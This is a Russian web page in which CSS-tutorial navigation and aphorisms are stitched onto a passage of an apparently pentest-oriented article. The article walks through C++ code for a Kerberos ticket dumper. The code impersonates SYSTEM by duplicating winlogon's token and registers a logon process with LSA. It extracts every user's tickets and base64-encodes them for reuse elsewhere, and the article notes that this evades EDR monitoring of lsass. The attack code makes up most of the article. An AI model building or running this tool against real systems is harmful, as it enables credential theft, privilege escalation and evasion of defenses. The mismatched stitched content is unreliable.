Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
Помогли мы вам |
lsass.exe
, поэтому для взаимодействия с ним будут использоваться стандартные API, которые нужны для работы с LSA.Нам потребуется всего несколько функций:
Да, дамп будет выполнен без всякой магии, стандартными, легитимными вызовами API. Я помню, как однажды услышал, будто дамп тикетов осуществляется путем чтения, а затем парсинг памяти LSASS. Так вот, друзья мои, ни Rubeus, ни Mimikatz так не делают. Оба инструмента дампят точно так же, с помощью тех же самых апишек.
Итоговый результат получился более чем крышесносный. Если у нас есть права локального администратора, то мы выгрузим абсолютно ВСЕ тикеты из системы.
А если прав администратора нет, то сможем получить лишь тикеты из сеанса входа текущего пользователя.
Итак, приступим к написанию инструмента.
При взаимодействии по протоколу Kerberos между клиентом и KDC или службой используется AP Kerberos. Внутри его кеша будут храниться все сессионные ключи, а также полученные пользователем TGT- и TGS-билеты. Но каким образом AP Kerberos понимает, что этот тикет принадлежит такому‑то пользователю, а этот другому? Здесь в игру вступают LUID. LUID — некий идентификатор текущей сессии. Мы можем увидеть текущий LUID с помощью команды klist
.
Для успешного дампа тикетов других пользователей нам нужно знать их LUID. Перечислить LUID можно с помощью LsaGetLogonSessionData(
. Подробнее эту функцию мы рассмотрим чуточку позже, но отмечу, что если мы не имеем прав администратора, то никто не даст нам сдампить чужие тикеты, поэтому подобная разведка может оказаться бессмысленной.
Во‑первых, я предлагаю создать заголовочный файл stuff.
, куда мы поместим все прототипы функций, другие заголовочные файлы и некоторые перечисляемые значения с заделом на будущее.
#pragma once
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <Windows.h>
#include <NTSecAPI.h>
#include <iostream>
#include <sddl.h>
#include <algorithm>
#include <string>
#include <TlHelp32.h>
#include <cstring>
#include <cstdlib>
#include <iomanip>
#include <map>
#define DEBUG
#include <locale>
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#pragma comment (lib, "Secur32.lib")
const PCWCHAR TicketFlagsToStrings[] = {
L"name_canonicalize", L"?", L"ok_as_delegate", L"?",
L"hw_authent", L"pre_authent", L"initial", L"renewable",
L"invalid", L"postdated", L"may_postdate", L"proxy",
L"proxiable", L"forwarded", L"forwardable", L"reserved",
};
const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LSA_STRING* create_lsa_string(const char* value);
bool EnablePrivilege(PCWSTR privName, bool enable);
DWORD ImpersonateSystem();
BOOL LsaConnect(PHANDLE LsaHandle);
VOID filetimeToTime(const FILETIME* time);
VOID ParseTktFlags(ULONG flags);
DWORD ReceiveLogonInfo(HANDLE LsaHandle, LUID LogonId, ULONG kerberosAP);
ULONG GetKerberosPackage(HANDLE LsaHandle, LSA_STRING lsastr);
Пока мы не будем углубляться в подробности работы каждой функции — я расскажу о них чуть позже. Мы также добавили массив символов для кодирования в Base64. Кодировать тикет в Base64 нужно по той причине, что он представляет собой бинарные данные, которые невозможно корректно отобразить.
Как ты видишь, здесь огромное количество непечатаемых символов. Разве что просматривается имя домена. Эти данные никак не получится скопировать, вставить на другой компьютер, а затем внедрить, поэтому применяем кодирование в Base64. Функция для кодирования выглядит вот так:
std::string base64_encode(const unsigned char* bytes_to_encode, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = bytes_to_encode[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
return out;
}
Она как раз использует этот самый массив символов. Теперь перейдем в самое начало нашего кода, в функцию main
:
int main() {
setlocale(LC_ALL, "");
ShowAwesomeBanner();
HANDLE LsaHandle = NULL;
BOOL DumpAllTickets = FALSE;
if (LsaConnect(&LsaHandle)) {
#ifdef DEBUG
std::wcout << L"[+] I'll dump all tickets" << std::endl;
#endif
DumpAllTickets = TRUE;
}
else {
#ifdef DEBUG
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
#endif
}
#ifdef DEBUG
std::wcout << L"[+] LsaHandle: " << (unsigned long)LsaHandle << std::endl;
#endif
PLSA_STRING krbname = create_lsa_string("kerberos");
ULONG kerberosAP = GetKerberosPackage(LsaHandle, *krbname);
#ifdef DEBUG
std::wcout << L"[+] Kerberos AP: " << kerberosAP << std::endl;
#endif
Уж извини меня за такое количество директив для препроцессора. Сначала думал их убрать, а потом оставил. Если тебе не нужно лишнего большого вывода, где инструмент будет сообщать обо всем, что он делает с системой, то просто из файла stuff.
убери строку #define
. Если же потребуется отследить весь поток вызовов, оставляй ее.
Итак, первым делом мы ставим локаль, чтобы наш инструмент умел успешно работать с любыми языками, хоть с русским, хоть с японским, хоть с каппадокийским диалектом греческого языка. Далее в функции ShowAwesomeBanner(
мы выводим наш суперстрашный череп (ведь никакая хакерская тулза не обойдется без него), а затем наступает этап подключения к LSA в функции LsaConnect(
.
Наш инструмент замечателен тем, что тикеты будет отдавать сам AP Kerberos. Причем этот вариант можно считать достаточно скрытным. Быть может, на каких‑то пентестах ты замечал, что сдампить LSASS стандартными средствами не получается, но при этом какой‑нибудь Rubeus.
успешно отрабатывает. Знаешь почему?
Проблема заключается в том, что большинство EDR (да и всяких других новомодных средств защиты, в рекламу которых вбухивают миллионы долларов) отслеживает примитивные функции для получения хендла на процесс lsass.
. Например, хукают тот же OpenProcess(
. Всякие более продвинутые варианты используют чуть большее число вариантов, но этого мало. Мы будем взаимодействовать не с процессом lsass.
, а со службой LSA. Нам не понадобится получать хендл на процесс, мы получим хендл только на саму службу, поэтому задетектировать наш инструмент будет чуточку сложнее.
Чтобы начать взаимодействовать с AP Kerberos, следует подключиться к LSA, ведь именно LSA управляет всеми пакетами аутентификации. Подключение я вынес в отдельную функцию LsaConnect(
. Она принимает адрес, который инициализируется валидным хендлом на LSA, если сможет его получить.
// Вызов функции
HANDLE LsaHandle = NULL;
LsaConnect(&LsaHandle);
// Функция
BOOL LsaConnect(PHANDLE LsaHandle) {
NTSTATUS status = 0;
wchar_t username[256];
DWORD usernamesize;
#ifdef DEBUG
GetUserName(username, &usernamesize);
std::wcout << L"[?] Current user: " << username << std::endl;
std::wcout << L"[?] Trying to get system" << std::endl;
#endif
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
}
Итак, именно в этой функции мы будем проверять, получится ли сдампить тикеты всех пользователей, либо мы ограничимся только текущим. Сначала получаем имя пользователя, от лица которого запущен инструмент, после чего дергается функция ImpersonateSystem(
. Она достаточно проста — сперва пытается добавить пользователю привилегию SeDebug
и SeImpersonate
, затем получает хендл на процесс winlogon.
(можно заменить любым другим, запущенным от лица системы). Наконец, используя этот хендл, функция получает токен процесса winlogon.
и применяет его к текущему потоку, что позволит добиться выполнения кода от лица системы.
DWORD ImpersonateSystem() {
if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeDebugPrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeDebugPrivilege Enabled" << std::endl;
#endif
}
if (!EnablePrivilege(SE_IMPERSONATE_NAME, TRUE)) {
#ifdef DEBUG
std::wcout << "[!] Error enabling SeImpersonatePrivilege" << std::endl;
#endif
return 1;
}
else {
#ifdef DEBUG
std::wcout << "[+] SeImpersonatePrivilege Enabled" << std::endl;
#endif
}
DWORD systemPID = GetWinlogonPid();
if (systemPID == 0) {
#ifdef DEBUG
std::wcout << "[!] Error getting PID to Winlogon process" << std::endl;
#endif
return 1;
}
HANDLE procHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPID);
DWORD dw = 0;
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcess failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE hSystemTokenHandle;
OpenProcessToken(procHandle, TOKEN_DUPLICATE, &hSystemTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] OpenProcessToken failed: " << dw << std::endl;
#endif
return 1;
}
HANDLE newTokenHandle;
DuplicateTokenEx(hSystemTokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &newTokenHandle);
dw = ::GetLastError();
if (dw != 0) {
#ifdef DEBUG
std::wcout << L"[-] DuplicateTokenEx failed: " << dw << std::endl;
#endif
return 1;
}
ImpersonateLoggedOnUser(newTokenHandle);
return 0;
}
Функции для работы с токенами мы уже рассматривали в статьях «Privileger. Управляем привилегиями в Windows» и «Свин API. Изучаем возможности WinAPI для пентестера», поэтому не вижу смысла на них останавливаться. GetWinlogonPid(
, используя CreateToolhelp32Snapshot(
, получает список текущих процессов, а затем пробегается по ним, чтобы обнаружить процесс с нужным именем, то есть winlogon.
.
DWORD GetWinlogonPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(snapshot, &entry) == TRUE)
{
while (Process32Next(snapshot, &entry) == TRUE)
{
if (_wcsicmp(entry.szExeFile, L"winlogon.exe") == 0)
{
return entry.th32ProcessID;
}
}
}
return 0;
}
Если хотя бы одна из этих операций оборачивается неудачей, то нам будет суждено сдампить лишь тикеты текущего пользователя. ImpersonateSystem(
вернет 0, если успешно получила выполнение кода от лица системы, и -1
, если что‑то пошло не так. Поэтому добавляем простое условие if
.
if (ImpersonateSystem() != 0) {
#ifdef DEBUG
std::wcout << L"[-] Cant get SYSTEM rights" << std::endl;
#endif
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
Начнем с варианта, в котором нам не удалось добиться исполнения кода от лица системы. В таком случае придется немножко взгрустнуть, получить обычный хендл на LSA и вернуть FALSE
. Получение хендла на LSA через LsaConnectUntrusted(
приведет к тому, что все «ядерные» возможности дампа чужих тикетов окажутся нам недоступны. Мы будем считаться, буквально говоря, недоверенным процессом. В дальнейшем этот возвращенный FALSE проверяется и устанавливается соответствующий флажок, который сигнализирует, возможен дамп тикетов из всех сессий или нет.
if (LsaConnect(&LsaHandle)) {
std::wcout << L"[+] I'll dump all tickets" << std::endl;
DumpAllTickets = TRUE;
}
else {
std::wcout << L"[-] I'll dump tickets of current user" << std::endl;
}
Если же нам повезло чуть больше, то теперь наша программа исполняется от лица системы, поэтому регистрируем процесс входа в систему. Сделать это можно с помощью LsaRegisterLogonProcess(
. Указанная функция принимает имя нового процесса входа, некоторую (не особо важную) дополнительную информацию, а возвращает «ядерный» хендл на LSA.
else {
GetUserName(username, &usernamesize);
PLSA_STRING krbname = create_lsa_string("MzHmO Dumper");
LSA_OPERATIONAL_MODE info;
#ifdef DEBUG
std::wcout << L"[?] Current user: " << username << std::endl;
#endif
status = LsaRegisterLogonProcess(krbname, LsaHandle, &info);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] Cant Register Logon Process" << std::endl;
status = LsaConnectUntrusted(LsaHandle);
if (!NT_SUCCESS(status) || !LsaHandle) {
std::wcout << L"[-] LsaConnectUntrusted Err: " << LsaNtStatusToWinError(status) << std::endl;
exit(-1);
}
return FALSE;
}
return TRUE;
}
Полученный с помощью функции LsaRegisterLogonProcess(
хендл не имеет никаких ограничений в плане взаимодействия с LSA. Его можно использовать для любых целей, мы фактически становимся процессом входа, почти как winlogon.
. Процесс входа должен иметь свое уникальное имя, чтобы LSA могла понимать, к кому обращаться. LSA воспринимает строки только в виде специальной структуры LSA_STRING
. Для корректной инициализации всех элементов этой структуры я также сделал специальную функцию:
LSA_STRING* create_lsa_string(const char* value)
{
char* buf = new char[100];
LSA_STRING* str = (LSA_STRING*)buf;
str->Length = strlen(value);
str->MaximumLength = str->Length;
str->Buffer = buf + sizeof(LSA_STRING);
memcpy(str->Buffer, value, str->Length);
return str;
}
После создания имени для нашего процесса входа пора наконец‑то вызывать LsaRegisterLogonProcess(
. Обрати внимание, что я не забыл обработать возможную ошибку, ведь мало ли что может происходить в системе, вдруг LsaRegisterLogonProcess(
не даст зарегистрировать новый процесс входа. Поэтому, если вызов функции обернулся ошибкой, мы просто возвращаемся к описанному раньше варианту через LsaConnectUntrusted(
. В таком случае сдампить все тикеты, само собой, не получится.
|
|